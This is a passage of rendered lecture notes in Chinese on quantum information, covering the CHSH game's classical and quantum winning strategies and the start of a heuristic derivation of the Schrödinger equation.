style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span></span></span></span></p><h3 id="tensor-product" tabindex="-1" id="Tensor-product">Tensor product</h3><p>去看這篇w <a href="https://hackmd.io/@sqcs/S19UuyCs6">09 張量積(Tensor product) - HackMD</a></p><h2 id="chsh-game" tabindex="-1" id="CHSH-game">CHSH game</h2><p>這和貝爾不等式等價，所以上課沒講貝爾不等式講這個。</p><p>這個遊戲這樣進行：有一名裁判®和兩名玩家(A, B)，R產生2個古典位元分別傳給 A, B，A, B 收到之後需要個別回傳一個古典位元，a, b。玩家獲勝的條件為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo>=</mo><mi>a</mi><mo>⊕</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">xy=a\oplus b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span>。過程中 A, B 兩人在遊戲過程中是不能交流的。</p><h3 id="%E5%8F%A4%E5%85%B8%E7%AD%96%E7%95%A5" tabindex="-1" id="古典策略">古典策略</h3><p><img src="https://quantum.cloud.ibm.com/learning/images/courses/basics-of-quantum-information/entanglement-in-action/nonlocal-game.svg" alt="CHSH Game"><br>圖片來源：<a href="https://quantum.cloud.ibm.com/learning/en/courses/basics-of-quantum-information/entanglement-in-action/chsh-game">CHSH game | IBM Quantum Learning</a></p><p>以下表格列出幾個例子</p><table><thead><tr><th style="text-align:center">x</th><th style="text-align:center">y</th><th style="text-align:center">a</th><th style="text-align:center">b</th><th style="text-align:center">xy</th><th style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo>⊕</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">a\oplus b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span></th><th style="text-align:center">Result</th></tr></thead><tbody><tr><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">Loss</td></tr><tr><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">0</td><td style="text-align:center">0</td><td style="text-align:center">Win</td></tr><tr><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">0</td><td style="text-align:center">1</td><td style="text-align:center">1</td><td style="text-align:center">Win</td></tr></tbody></table><p>古典策略能做到最好的勝率為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>75</mn><mi mathvariant="normal">%</mi></mrow><annotation encoding="application/x-tex">75\%</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">75%</span></span></span></span>，作法是 A 和 B 都無論如何回傳 0。</p><h3 id="%E9%87%8F%E5%AD%90%E7%AD%96%E7%95%A5" tabindex="-1" id="量子策略">量子策略</h3><p>勝率 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>75</mn><mi mathvariant="normal">%</mi></mrow><annotation encoding="application/x-tex">75\%</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">75%</span></span></span></span>，看起來不能再高了對吧？但如果量子力學是對的那就不一樣了。A 和 B 可以事先準備一對處於最大疊加態 (Bell State) 的粒子對：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ϕ</mi><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\phi\rangle = \frac{1}{\sqrt2}\left(|00\rangle+|11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal">ϕ</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span>，然後一人拿一顆。</p><p>而玩家 A、B 策略分別為：</p><ul><li>玩家A：如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">x=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，在 Z 方向測量；如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">x=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，在 X 方向測量</li><li>玩家B：如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">y=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><mo stretchy="false">(</mo><mi>Z</mi><mo>+</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><msqrt><mn>2</mn></msqrt></mfrac></mrow><annotation encoding="application/x-tex">\frac{(Z+X)}{\sqrt{2}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.548em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.0715em;">Z</span><span class="mbin mtight">+</span><span class="mord mathnormal mtight" style="margin-right:0.0785em;">X</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 方向測量；如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">y=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><mo stretchy="false">(</mo><mi>Z</mi><mo>−</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><msqrt><mn>2</mn></msqrt></mfrac></mrow><annotation encoding="application/x-tex">\frac{(Z-X)}{\sqrt{2}}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.548em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.01em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mtight">2</span></span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.485em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.0715em;">Z</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0785em;">X</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 方向測量</li></ul><p>我們窮舉 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> 的四種可能，可以發現勝率全部都是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mrow><mi>cos</mi><mo>⁡</mo></mrow><mn>2</mn></msup><mo stretchy="false">(</mo><mfrac><mi>π</mi><mn>8</mn></mfrac><mo stretchy="false">)</mo><mo>≈</mo><mn>0.85</mn></mrow><annotation encoding="application/x-tex">\cos^2(\frac{\pi}{8})\approx 0.85</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1591em;vertical-align:-0.345em;"></span><span class="mop"><span class="mop">cos</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">8</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">π</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.85</span></span></span></span>，比古典策略高。</p><h2 id="%E8%96%9B%E4%B8%81%E6%A0%BC%E6%96%B9%E7%A8%8B%E5%BC%8F" tabindex="-1" id="薛丁格方程式">薛丁格方程式</h2><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>i</mi><mi mathvariant="normal">ℏ</mi><mfrac><mi mathvariant="normal">∂</mi><mrow><mi mathvariant="normal">∂</mi><mi>t</mi></mrow></mfrac><mi mathvariant="normal">Ψ</mi><mo stretchy="false">(</mo><mi mathvariant="bold">r</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mo fence="true">[</mo><mo>−</mo><mfrac><msup><mi mathvariant="normal">ℏ</mi><mn>2</mn></msup><mrow><mn>2</mn><mi>m</mi></mrow></mfrac><msup><mi mathvariant="normal">∇</mi><mn>2</mn></msup><mo>+</mo><mi>V</mi><mo stretchy="false">(</mo><mi mathvariant="bold">r</mi><mo stretchy="false">)</mo><mo fence="true">]</mo></mrow><mi mathvariant="normal">Ψ</mi><mo stretchy="false">(</mo><mi mathvariant="bold">r</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i\hbar \frac{\partial}{\partial t}\Psi(\mathbf{r},t) = \left[ -\frac{\hbar^2}{2m}\nabla^2 + V(\mathbf{r}) \right]\Psi(\mathbf{r},t)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord mathnormal">i</span><span class="mord">ℏ</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span><span class="mord mathnormal">t</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.0556em;">∂</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord">Ψ</span><span class="mopen">(</span><span class="mord mathbf">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4411em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord">−</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4911em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord">ℏ</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord"><span class="mord">∇</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.2222em;">V</span><span class="mopen">(</span><span class="mord mathbf">r</span><span class="mclose">)</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">Ψ</span><span class="mopen">(</span><span class="mord mathbf">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span></span></span></span></span></p><h3 id="%E7%8C%9C%E5%87%BA%E6%96%B9%E7%A8%8B%E5%BC%8F" tabindex="-1" id="猜出方程式">猜出方程式</h3><blockquote><p>教授：這只有用到高中知識，所以理論上你們都能寫下薛丁格方程式</p></blockquote><blockquote><p>我上課時沒拍到，所以我是課後問 Gemini 的</p></blockquote><p>薛丁格是怎麼猜出薛丁格方程式的呢？<br>既然是波，那他也只能長成這樣(至少組成單元是這樣)</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>ψ</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>t</mi><mo stretchy="false">)</mo><mo>=</mo><mi>A</mi><msup><mi>e</mi><mrow><mi>i</mi><mo stretchy="false">(</mo><mi>k</mi><mi>x</mi><mo>−</mo><mi>ω</mi><mi>t</mi><mo stretchy="false">)</mo></mrow></msup></mrow><annotation encoding="application/x-tex">\psi(x,t) = A e^{i(kx - \omega t)}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">t</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.938em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mord mathnormal mtight">x</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0359em;">ω</span><span class="mord mathnormal mtight">t</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>從量子力學的能量和物質波公式能得出</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.25em" columnalign="right left right" columnspacing="0em 1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>E</mi><mo>=</mo><mi>h</mi><mi>f</mi><mo>=</mo><mi mathvariant="normal">ℏ</mi><mi>ω</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mtext>  </mtext><mo>⟹</mo><mtext>  </mtext></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>ω</mi><mo>=</mo><mfrac><mi>E</mi><mi mathvariant="normal">ℏ</mi></mfrac></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>p</mi><mo>=</mo><mfrac><mi>h</mi><mi>λ</mi></mfrac><mo>=</mo><mi mathvariant="normal">ℏ</mi><mi>k</mi></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mtext>  </mtext><mo>⟹</mo><mtext>  </mtext></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>k</mi><mo>=</mo><mfrac><mi>p</mi><mi mathvariant="normal">ℏ</mi></mfrac></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned}E=hf=\hbar\omega &amp; \implies &amp; \omega = \frac{E}{\hbar}\\p=\frac{h}{\lambda}=\hbar k &amp; \implies &amp; k = \frac{p}{\hbar}\end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:4.4038em;vertical-align:-1.9519em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.4519em;"><span style="top:-4.463em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal">h</span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">ℏ</span><span class="mord mathnormal" style="margin-right:0.0359em;">ω</span></span></span><span style="top:-2.1056em;"><span class="pstrut" style="height:3.3714em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">λ</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">h</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">ℏ</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.9519em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.4519em;"><span style="top:-4.463em;"><span 